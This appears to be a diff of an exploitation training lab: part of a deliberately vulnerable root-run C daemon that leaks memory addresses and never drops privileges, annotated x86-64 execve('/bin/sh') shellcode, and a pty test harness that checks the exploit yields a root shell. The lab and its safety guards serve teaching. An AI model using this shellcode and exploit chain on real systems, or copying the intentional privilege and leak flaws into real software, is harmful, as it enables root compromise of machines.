libc_read = &read; /* &read resolves through the GOT to libc. */
|
||||
|
||||
dprintf(fd, "FOOWOSD 1.0 ids=%d/%d leak stack=%p libc=%p\n",
|
||||
(int)geteuid(), (int)getuid(),
|
||||
(void *)&stack_marker, (void *)libc_read);
|
||||
}
|
||||
|
||||
/* THE CORRECT DESIGN, PRESENT BUT NEVER CALLED
|
||||
* -------------------------------------------
|
||||
* drop_privs() -- what a well-written daemon would do the moment it no
|
||||
* longer needs root. Two mistakes to notice, both immune to every compiler
|
||||
* mitigation:
|
||||
*
|
||||
* * ORDER: setgroups() before setgid() before setuid(), and ONLY AFTER
|
||||
* binding the port and opening any root-only files. Drop first and the
|
||||
* whole point of root is gone.
|
||||
* * PERMANENCE: setuid() to a nonzero value and check it stuck (a root
|
||||
* process may later regain privileges via the saved id otherwise).
|
||||
*
|
||||
* Port 2344 needs no privilege, so the correct design would call this right
|
||||
* after the listen() succeeds. In this lab it is deliberately absent from
|
||||
* main(), because the lab NEEDS the accept-loop children to stay root. The
|
||||
* commented function is your diff: the two missing calls at the point marked
|
||||
* "*** see drop_privs() ***" below are the entire exploit surface (Bug #3,
|
||||
* CWE-271: privilege not dropped before handling untrusted input).
|
||||
*/
|
||||
__attribute__((unused))
|
||||
static void drop_privs(void)
|
||||
{
|
||||
/* Order matters: setgroups() first (a non-root user may not), then
|
||||
* setgid(), then setuid(). Never the reverse. */
|
||||
(void)setgroups(0, NULL); /* Remove all supplementary groups. */
|
||||
(void)setgid(1000); /* Lose group privileges. */
|
||||
if (setuid(1000) < 0) /* Any non-zero uid is fine here. */
|
||||
_exit(1); /* If we cannot drop, FAIL CLOSED. */
|
||||
|
||||
/* Verify. getuid()/geteuid() are cheap; a privileged program whose drop
|
||||
* failed silently is a root hole wearing a costume. */
|
||||
if (getuid() != 1000 || geteuid() != 1000)
|
||||
_exit(1);
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* Per-connection handling */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
static void handle_client(int fd)
|
||||
{
|
||||
static const char banner[] =
|
||||
"FOOWOSD 1.0 - deliberately vulnerable daemon (no setuid bit: root is\n"
|
||||
"here because this process was started as root).\n"
|
||||
"Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n";
|
||||
|
||||
prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */
|
||||
install_crash_reporter(); /* Log (g_logfd) lines, not to the socket. */
|
||||
|
||||
logmsg("client connected (uid=%d euid=%d)", (int)getuid(), (int)geteuid());
|
||||
|
||||
(void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1);
|
||||
send_leaks(STDOUT_FILENO);
|
||||
|
||||
vulnerable_handler(STDOUT_FILENO);
|
||||
|
||||
/* Only reached when the payload did NOT hijack RIP. */
|
||||
logmsg("vulnerable_handler returned normally -- payload did not hijack RIP");
|
||||
(void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29);
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* The server loop */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
static int make_listener(const char *host, int port)
|
||||
{
|
||||
struct sockaddr_in addr;
|
||||
int fd;
|
||||
int one = 1;
|
||||
|
||||
fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (fd < 0) {
|
||||
logmsg("socket() failed: %s", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
|
||||
logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno));
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons((uint16_t)port);
|
||||
|
||||
if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) {
|
||||
logmsg("bad bind address: %s", host);
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (port < 1 || port > 65535) {
|
||||
logmsg("port out of range: %d", port);
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
||||
logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno));
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (listen(fd, 16) < 0) {
|
||||
logmsg("listen() failed: %s", strerror(errno));
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return fd;
|
||||
}
|
||||
|
||||
static void usage(const char *argv0)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"usage: %s [-h HOST] [-p PORT] [-d] [-L]\n"
|
||||
"\n"
|
||||
" -h HOST address to bind (default %s -- loopback only!\n"
|
||||
" -L is required to bind anywhere else)\n"
|
||||
" -p PORT TCP port to listen on (default %d)\n"
|
||||
" -d daemonise: fork into the background\n"
|
||||
" -L ALLOW binding to a non-loopback address (dangerous:\n"
|
||||
" this daemon exists to be exploited as ROOT)\n"
|
||||
"\n"
|
||||
"This lab gives you a ROOT shell only when the daemon was STARTED\n"
|
||||
"as root (sudo make run-root). There is no setuid bit anywhere.\n"
|
||||
"Do not run it on any host that matters, never bind it beyond\n"
|
||||
"loopback, and do not leave it running as root.\n",
|
||||
argv0, FOOWOSD_HOST, FOOWOSD_PORT);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
const char *host = FOOWOSD_HOST; /* Bind address. */
|
||||
int port = FOOWOSD_PORT; /* Bind port. */
|
||||
int daemonise = 0; /* -d. */
|
||||
int allow_nonloopback = 0; /* -L. The root-daemon safety guard. */
|
||||
int lfd; /* Listening socket. */
|
||||
int i; /* getopt() index. */
|
||||
|
||||
while ((i = getopt(argc, argv, ":h:p:dL")) != -1) {
|
||||
switch (i) {
|
||||
case 'h': host = optarg; break;
|
||||
case 'p': port = atoi(optarg); break;
|
||||
case 'd': daemonise = 1; break;
|
||||
case 'L': allow_nonloopback = 1; break;
|
||||
case ':': fprintf(stderr, "missing argument to -%c\n", optopt);
|
||||
usage(argv[0]);
|
||||
return 2;
|
||||
default: usage(argv[0]);
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* THE ROOT-DAEMON SAFETY GUARD.
|
||||
*
|
||||
* A daemon that is running as root (it was started as root -- there is
|
||||
* no +s bit here, so this state is easy to forget) and listens on a
|
||||
* non-loopback interface is a remote root service. Refuse by default,
|
||||
* document the exception, fail loudly.
|
||||
*/
|
||||
if (!allow_nonloopback &&
|
||||
(strcmp(host, "127.0.0.1") != 0 && strcmp(host, "localhost") != 0 &&
|
||||
strcmp(host, "::1") != 0)) {
|
||||
fprintf(stderr,
|
||||
"foowosd: refusing to bind %s: this daemon may be running as\n"
|
||||
" root. Loopback is the only permitted default. If you\n"
|
||||
" really know what you are doing, pass -L.\n", host);
|
||||
return 1;
|
||||
}
|
||||
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
signal(SIGCHLD, SIG_IGN); /* Auto-reap forked children. */
|
||||
|
||||
/* Reserve a private log descriptor BEFORE sockets are dup2'd over fd 1. */
|
||||
g_logfd = dup(STDOUT_FILENO);
|
||||
if (g_logfd < 0) {
|
||||
g_logfd = STDOUT_FILENO;
|
||||
fprintf(stderr, "foowosd: warning: could not reserve a log descriptor\n");
|
||||
}
|
||||
|
||||
/*
|
||||
* SELF-DIAGNOSIS OF THE "AM I ROOT ?" STATE -- printed once, to the log.
|
||||
*
|
||||
* ruid==euid==0 -> started as root: the exploit gives root
|
||||
* ruid==euid!=0 -> started as a normal user: baseline only
|
||||
*
|
||||
* foowosc reads euid over the socket and can warn too; this log line is
|
||||
* for you at the console.
|
||||
*/
|
||||
logmsg("startup: ruid=%d euid=%d %s",
|
||||
(int)getuid(), (int)geteuid(),
|
||||
(geteuid() == 0) ? "-> ROOT process"
|
||||
: "-> NOT root (start as root: make run-root)");
|
||||
|
||||
if (geteuid() == 0)
|
||||
logmsg("startup: WARNING: this daemon is running as root -- no setuid "
|
||||
"bit involved, just a root-started process. Port %d does not "
|
||||
"need root; see drop_privs().", port);
|
||||
|
||||
lfd = make_listener(host, port);
|
||||
if (lfd < 0)
|
||||
return 1;
|
||||
|
||||
logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY "
|
||||
"VULNERABLE", host, port, (int)getpid());
|
||||
|
||||
if (daemonise) {
|
||||
/* Standard double fork so we cannot acquire a controlling terminal. */
|
||||
pid_t p1 = fork();
|
||||
if (p1 < 0) { perror("fork"); return 1; }
|
||||
if (p1 > 0) _exit(0);
|
||||
if (setsid() < 0) perror("setsid");
|
||||
pid_t p2 = fork();
|
||||
if (p2 < 0) { perror("fork"); return 1; }
|
||||
if (p2 > 0) _exit(0);
|
||||
if (chdir("/") < 0) perror("chdir");
|
||||
umask(022);
|
||||
}
|
||||
|
||||
/* ---- The accept loop. Each child serves one connection. The children
|
||||
* stay root because the parent was started as root. ---- */
|
||||
for (;;) {
|
||||
struct sockaddr_in peer;
|
||||
socklen_t plen = sizeof(peer);
|
||||
int cfd;
|
||||
pid_t pid;
|
||||
|
||||
cfd = accept(lfd, (struct sockaddr *)&peer, &plen);
|
||||
if (cfd < 0) {
|
||||
if (errno == EINTR || errno == ECONNABORTED)
|
||||
continue;
|
||||
logmsg("accept() failed: %s", strerror(errno));
|
||||
continue;
|
||||
}
|
||||
|
||||
/*
|
||||
* Fork per connection. The child KEEPS the root privileges -- that
|
||||
* is Bug #3 in this lab, "no privilege drop before handling
|
||||
* untrusted input" (CWE-271). See drop_privs() above for the exact
|
||||
* calls a well-written daemon would make at this point, and why the
|
||||
* order of those three calls is security-critical.
|
||||
*/
|
||||
pid = fork();
|
||||
if (pid < 0) {
|
||||
logmsg("fork() failed: %s", strerror(errno));
|
||||
close(cfd);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (pid == 0) {
|
||||
close(lfd);
|
||||
handle_client(cfd);
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
close(cfd);
|
||||
}
|
||||
}
|
||||
124
wosuid/shellcode.S
Normal file
124
wosuid/shellcode.S
Normal file
|
|
@ -0,0 +1,124 @@
|
|||
; ============================================================================
|
||||
; shellcode.S -- the reference shellcode for the wosuid lab (foowosc)
|
||||
; ============================================================================
|
||||
;
|
||||
; This file exists for ONE reason: to let you prove that the `SHELLCODE[]`
|
||||
; array in foowosc.c is exactly the machine code you would get from
|
||||
; assembling these instructions. It is not used by the exploit, which carries
|
||||
; the bytes inline so it has no runtime dependency on nasm.
|
||||
;
|
||||
; make verify-shellcode assembles this and diffs it against foowosc.c
|
||||
;
|
||||
; WHAT IT DOES
|
||||
; ------------
|
||||
; execve("/bin/sh", argv = NULL, envp = NULL)
|
||||
;
|
||||
; 23 bytes that turn the process into a shell -- byte-identical to the
|
||||
; shellcode in the parent lab's fooc.c.
|
||||
;
|
||||
; WHY 23 BYTES AND NOT 32 -- the difference between the labs, in one payload
|
||||
; ---------------------------------------------------------------------------
|
||||
; The SUID lab (foosd/foosc) needed a 32-byte shellcode that prefixed
|
||||
; setreuid(0,0). Why:
|
||||
;
|
||||
; * a setuid-root binary gives the process euid 0 but LEAVES ruid = the
|
||||
; launching user (1000);
|
||||
; * bash (and dash) check `euid != ruid` at startup and, absent `-p`,
|
||||
; reset euid = ruid -- the shell's own guard against this attack;
|
||||
; * so a plain execve("/bin/sh") from a *setuid* process yields a shell
|
||||
; that has quietly dropped root; the real uid must be cleared first.
|
||||
;
|
||||
; THIS lab deliberately has NO setuid bit. The daemon is root because it was
|
||||
; STARTED as root: real uid 0, effective uid 0, saved uid 0. fork() inherits
|
||||
; all three, execve() changes none of them, and bash starts with equal uid 0s
|
||||
; -- the guard has nothing to reset, so the plain execve keeps root. The
|
||||
; same 23 bytes that pwnd the user-level `food` daemon in the parent lab
|
||||
; open a ROOT shell here, because the process they run inside is already
|
||||
; fully root.
|
||||
;
|
||||
; The setuid bit transfers privilege; it is not the privilege itself. When a
|
||||
; root-started daemon is exploited, the outcome is identical to exploiting a
|
||||
; setuid binary -- minus the need to fiddle with the real uid.
|
||||
;
|
||||
; Register usage follows the System V AMD64 ABI: first integer args in
|
||||
; rdi, rsi, rdx; syscall number in rax.
|
||||
; ============================================================================
|
||||
|
||||
BITS 64
|
||||
|
||||
; section .text -- mark it executable, the default, so `nasm -f bin` emits
|
||||
; the instruction bytes with no ELF wrapper around them.
|
||||
section .text
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; xor esi, esi
|
||||
; rsi = 0 -> argv = NULL
|
||||
;
|
||||
; Zeroing with xor instead of `mov esi, 0` is two bytes shorter (2 vs 5)
|
||||
; and the classic x86 idiom for producing a zero without a memory operand.
|
||||
; ---------------------------------------------------------------------------
|
||||
xor esi, esi
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; xor edx, edx
|
||||
; rdx = 0 -> envp = NULL
|
||||
;
|
||||
; argv = NULL lets the kernel synthesise argv[0] from the pathname, and
|
||||
; envp = NULL gives the new program an empty environment. The shell runs
|
||||
; fine but with no PATH, so `id` and `uname` work and bare `vi` does not --
|
||||
; a small detail that surprises people, and the reason the relayed local
|
||||
; side of the exploit never relies on a PATH-based command.
|
||||
; ---------------------------------------------------------------------------
|
||||
xor edx, edx
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; movabs rdi, 0x68732f6e69622f
|
||||
; rdi = the 8 bytes 2f 62 69 6e 2f 73 68 00, i.e. "/bin/sh\0"
|
||||
;
|
||||
; Read the immediate right-to-left as bytes and it spells the string out.
|
||||
; That packing is the whole trick: eight bytes of payload in a ten-byte
|
||||
; instruction, no data section, no relocation, no alignment padding.
|
||||
; ---------------------------------------------------------------------------
|
||||
movabs rdi, 0x68732f6e69622f
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; push rdi
|
||||
; Put those eight bytes on the stack, where a string has to live so that a
|
||||
; register can point at it. The stack is writable and lives at an
|
||||
; attacker-chosen address, so this is the position-independent way to
|
||||
; materialise a string constant inside a payload that has no .data.
|
||||
; ---------------------------------------------------------------------------
|
||||
push rdi
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; mov rdi, rsp
|
||||
; rdi = the address of the string we just pushed = argv[0] as well as the
|
||||
; pathname. Reusing one buffer for both is legal; the kernel only reads the
|
||||
; pathname before it sets up the new stack, and by then argv[0] is copied.
|
||||
; ---------------------------------------------------------------------------
|
||||
mov rdi, rsp
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; push 0x3b
|
||||
; pop rax
|
||||
; rax = 59 = the __NR_execve slot in the x86-64 syscall table.
|
||||
;
|
||||
; Syscall numbers are part of the kernel ABI and are frozen: 0 = read,
|
||||
; 1 = write, 2 = open, ..., 59 = execve. `push 0x3b; pop rax` is the
|
||||
; idiomatic 2-byte way to load a small constant; `mov eax, 0x3b` is 5.
|
||||
; ---------------------------------------------------------------------------
|
||||
push 0x3b
|
||||
pop rax
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; syscall
|
||||
; Trap into the kernel. On return, either we are a shell (success) or we
|
||||
; are handed a -errno in rax and fall off the end of the payload (failure).
|
||||
; ---------------------------------------------------------------------------
|
||||
syscall
|
||||
|
||||
; Note what is NOT here:
|
||||
; * no setreuid -- the process was started as root, so ruid is already 0
|
||||
; (compare the 32-byte variant in the suid lab, which had to clear it).
|
||||
; * no `ret` -- execve does not return.
|
||||
; * no `nop` sled -- we jump straight to the first byte.
|
||||
278
wosuid/tests/pty_wosuid_test.c
Normal file
278
wosuid/tests/pty_wosuid_test.c
Normal file
|
|
@ -0,0 +1,278 @@
|
|||
/*
|
||||
* pty_wosuid_test.c -- test harness: drive ./foowosc through a
|
||||
* pseudo-terminal so the interactive shell it hands over to has a real
|
||||
* terminal.
|
||||
*
|
||||
* Why a pty at all: the exploit's last act is to relay the user's terminal
|
||||
* to the shell running on the victim. Anything already sitting on the real
|
||||
* stdin (a pipe, a here-doc) is at the wrong end of that relay, so the
|
||||
* commands must arrive via a real tty. This harness supplies one.
|
||||
*
|
||||
* What it proves, and in what order:
|
||||
*
|
||||
* SHELL the marker literal comes back AND real `id` output appears.
|
||||
* Both are required because the marker alone also occurs in the
|
||||
* command line we typed *to* the pty, so any harness that does not
|
||||
* disable echo (see below) scores a false positive.
|
||||
*
|
||||
* ROOT the transcript contains "uid=0(", i.e. the shell on the far side
|
||||
* really runs with uid 0. That can only come from a live `id`
|
||||
* executed by a uid-0 shell, and it is the entire claim of this
|
||||
* lab: foowosd was STARTED as root (no setuid bit anywhere), and
|
||||
* the RCE therefore lands a root shell.
|
||||
*
|
||||
* Flags:
|
||||
* --must-root exit 0 only if BOTH a shell and ROOT are proven.
|
||||
* Used by `make test-root` for every technique, because when
|
||||
* the daemon is running as root ALL of them must escalate.
|
||||
* --dump FILE write the raw transcript for post-mortem analysis.
|
||||
*
|
||||
* Exit status without --must-root: 0 when a shell is proven (marker + uid=).
|
||||
* That is how `make test` runs the baseline against a non-root daemon.
|
||||
*
|
||||
* Two false-positive traps, both learned the hard way in earlier labs:
|
||||
*
|
||||
* 1. ECHO. The pty must run cooked but with ECHO off. With ECHO on, the
|
||||
* pty mirrors our own keystrokes back into the transcript, the command
|
||||
* line "echo WOSUID-OK" supplies the marker, and the harness reports
|
||||
* success whether or not any shell ever ran. ECHONL stays on so the
|
||||
* newline still comes back.
|
||||
*
|
||||
* 2. "uid=" as a bare substring. foowosc's own diagnostics print
|
||||
* "target euid=0 ruid=0", and both "euid=" and "ruid=" CONTAIN "uid=".
|
||||
* So id_output must require the exact `id` output shape -- "uid="
|
||||
* followed by digits and a parenthesis -- and even then the banner is
|
||||
* printed as "ids=..." precisely so it can never look like `id`.
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <errno.h> /* strerror(). */
|
||||
#include <fcntl.h> /* open(), O_RDWR. */
|
||||
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
|
||||
#include <stdio.h> /* printf() and friends. */
|
||||
#include <stdlib.h> /* _exit(). */
|
||||
#include <string.h> /* strstr(). */
|
||||
#include <sys/wait.h> /* waitpid(). */
|
||||
#include <sys/select.h>/* select(): timeout without a busy loop. */
|
||||
#include <termios.h> /* tcgetattr()/tcsetattr(). */
|
||||
#include <signal.h> /* kill(), SIGKILL. */
|
||||
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
|
||||
|
||||
/* The literal we ask the remote shell to print; seeing it come back (with
|
||||
* ECHO off) proves a shell really echoed it from the other side. */
|
||||
#define MARKER "WOSUID-OK"
|
||||
|
||||
/* PROOF the far-side shell is root. "uid=0(" matches "uid=0(root)" and the
|
||||
* older "uid=0( root)"-style output of any id implementation; only 'id' can
|
||||
* print this line, and the parenthesis rules out foowosc/foowosd chatter. */
|
||||
#define ROOTOUT "uid=0("
|
||||
|
||||
/* saw_real_uid_output() -- true iff the transcript contains "uid=" followed
|
||||
* by one or more digits and then '(' . That is the signature of `id`'s
|
||||
* output and of nothing foowosc or foowosd prints (see the header comment's
|
||||
* trap #2: foowosc's own "euid=… ruid=…" chatter contains "uid="). */
|
||||
static int saw_real_uid_output(const char *t)
|
||||
{
|
||||
const char *p = t;
|
||||
while ((p = strstr(p, "uid=")) != NULL) {
|
||||
const char *q = p + 4; /* past "uid=" */
|
||||
int digits = 0;
|
||||
while (*q >= '0' && *q <= '9') {
|
||||
q++;
|
||||
digits++;
|
||||
}
|
||||
if (digits > 0 && *q == '(')
|
||||
return 1;
|
||||
p = q; /* keep scanning for the next "uid=". */
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Everything the pty has ever produced, scanned after every drain so a
|
||||
* marker straddling a read() boundary cannot be missed. */
|
||||
static char transcript[65536];
|
||||
|
||||
/* drain_master() -- read the pty master for up to `ms` ms, echo to stdout,
|
||||
* and append to the transcript. select() with a deadline keeps us from
|
||||
* spinning while the (interactive, silent) shell thinks. */
|
||||
static int drain_master(int master, int ms)
|
||||
{
|
||||
struct timeval tv;
|
||||
fd_set rfds;
|
||||
int total = 0;
|
||||
char buf[4096];
|
||||
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(master, &rfds);
|
||||
tv.tv_sec = ms / 1000;
|
||||
tv.tv_usec = (ms % 1000) * 1000;
|
||||
|
||||
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
|
||||
ssize_t n = read(master, buf, sizeof(buf));
|
||||
if (n <= 0)
|
||||
break;
|
||||
fwrite(buf, 1, (size_t)n, stdout);
|
||||
fflush(stdout);
|
||||
total += (int)n;
|
||||
if ((size_t)total < sizeof(transcript) - 1)
|
||||
strncat(transcript, buf, (size_t)n);
|
||||
|
||||
/* A chatty peer should not hold us forever: reset the deadline. */
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(master, &rfds);
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = 200000;
|
||||
}
|
||||
return total;
|
||||
}
|
||||
|
||||
static const char *technique_of(int argc, char **argv)
|
||||
{
|
||||
for (int i = 1; i + 1 < argc; i++)
|
||||
if (strcmp(argv[i], "-t") == 0)
|
||||
return argv[i + 1];
|
||||
return "(default: shellcode)";
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int master;
|
||||
char slave_name[256];
|
||||
struct termios saved;
|
||||
int have_saved = 0;
|
||||
pid_t pid;
|
||||
int ok = 0; /* marker seen */
|
||||
int saw_id = 0; /* "uid=NNN(" seen: real program ran */
|
||||
int saw_root = 0; /* "uid=0(" seen: it was uid 0 */
|
||||
int must_root = 0; /* --must-root flag */
|
||||
int round;
|
||||
|
||||
/* True when --must-root is present: the verdict then demands uid 0. */
|
||||
for (int i = 1; i < argc; i++)
|
||||
if (strcmp(argv[i], "--must-root") == 0)
|
||||
must_root = 1;
|
||||
|
||||
/* ---- 1. Allocate a pty. ------------------------------------------ */
|
||||
master = posix_openpt(O_RDWR);
|
||||
if (master < 0) {
|
||||
perror("posix_openpt");
|
||||
return 2;
|
||||
}
|
||||
if (grantpt(master) < 0 || unlockpt(master) < 0) {
|
||||
perror("grantpt/unlockpt");
|
||||
return 2;
|
||||
}
|
||||
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
|
||||
perror("ptsname_r");
|
||||
return 2;
|
||||
}
|
||||
|
||||
/* ---- 2. Fork; the child becomes the pty slave and execs foowosc. -- */
|
||||
pid = fork();
|
||||
if (pid < 0) {
|
||||
perror("fork");
|
||||
return 2;
|
||||
}
|
||||
|
||||
if (pid == 0) {
|
||||
int s;
|
||||
char *args[64];
|
||||
int n = 0;
|
||||
|
||||
if (setsid() < 0)
|
||||
_exit(127);
|
||||
s = open(slave_name, O_RDWR);
|
||||
if (s < 0)
|
||||
_exit(127);
|
||||
dup2(s, STDIN_FILENO);
|
||||
dup2(s, STDOUT_FILENO);
|
||||
dup2(s, STDERR_FILENO);
|
||||
if (s > STDERR_FILENO)
|
||||
close(s);
|
||||
|
||||
/* Forward everything except our own --must-root / --dump plumbing,
|
||||
* which foowosc's getopt() would reject. */
|
||||
args[n++] = (char *)"./foowosc";
|
||||
for (int i = 1; i < argc && n < 63; i++) {
|
||||
if (strcmp(argv[i], "--must-root") == 0)
|
||||
continue;
|
||||
if (strcmp(argv[i], "--dump") == 0) {
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
args[n++] = argv[i];
|
||||
}
|
||||
args[n] = NULL;
|
||||
execv(args[0], args);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
/* ---- 3. Terminal: cooked but SILENT. ----------------------------- */
|
||||
/* NOT cfmakeraw(): the shell needs a real line-discipline terminal.
|
||||
* ECHO off is load-bearing (trap #1 above). ECHONL stays on so we still
|
||||
* see the newline when the pty processes our input. */
|
||||
if (tcgetattr(master, &saved) == 0) {
|
||||
struct termios quiet = saved;
|
||||
have_saved = 1;
|
||||
quiet.c_lflag &= ~(tcflag_t)ECHO;
|
||||
quiet.c_lflag |= ECHONL;
|
||||
tcsetattr(master, TCSANOW, &quiet);
|
||||
}
|
||||
|
||||
/* ---- 4. Wait out foowosc's analysis + connect + payload phases. --- */
|
||||
for (round = 0; round < 12; round++)
|
||||
drain_master(master, 250);
|
||||
|
||||
/* ---- 5. Type the proof commands. --------------------------------- */
|
||||
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
|
||||
|
||||
/* ---- 6. Read until we have the signals we need (or give up). ----- */
|
||||
for (round = 0; round < 20; round++) {
|
||||
drain_master(master, 250);
|
||||
|
||||
/* Rescan the WHOLE transcript, not the latest chunk: strings can
|
||||
* straddle read() boundaries. */
|
||||
if (strstr(transcript, MARKER) != NULL) ok = 1;
|
||||
if (saw_real_uid_output(transcript)) saw_id = 1;
|
||||
if (strstr(transcript, ROOTOUT) != NULL) saw_root = 1;
|
||||
|
||||
/* --must-root: require everything. Otherwise require a live shell. */
|
||||
if (must_root) {
|
||||
if (ok && saw_id && saw_root)
|
||||
break;
|
||||
} else if (ok && saw_id) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- 7. Tidy up. ------------------------------------------------- */
|
||||
kill(pid, SIGKILL);
|
||||
waitpid(pid, NULL, 0);
|
||||
if (have_saved)
|
||||
tcsetattr(master, TCSANOW, &saved);
|
||||
close(master);
|
||||
|
||||
/* Optional --dump for post-mortems: pty_wosuid_test -t shellcode --dump x */
|
||||
for (int i = 1; i + 1 < argc; i++) {
|
||||
if (strcmp(argv[i], "--dump") == 0) {
|
||||
FILE *f = fopen(argv[i + 1], "w");
|
||||
if (f != NULL) {
|
||||
fwrite(transcript, 1, strlen(transcript), f);
|
||||
fclose(f);
|
||||
fprintf(stderr, "[pty_wosuid_test] transcript (%zu bytes) -> %s\n",
|
||||
strlen(transcript), argv[i + 1]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr,
|
||||
"\n[pty_wosuid_test] technique=%-12s marker=%-7s id_output=%-7s root=%s\n",
|
||||
technique_of(argc, argv),
|
||||
ok ? "SEEN" : "MISSING",
|
||||
saw_id ? "SEEN" : "MISSING",
|
||||
saw_root ? "SEEN" : "MISSING");
|
||||
|
||||
if (must_root)
|
||||
return (ok && saw_id && saw_root) ? 0 : 1;
|
||||
return (ok && saw_id) ? 0 : 1;
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue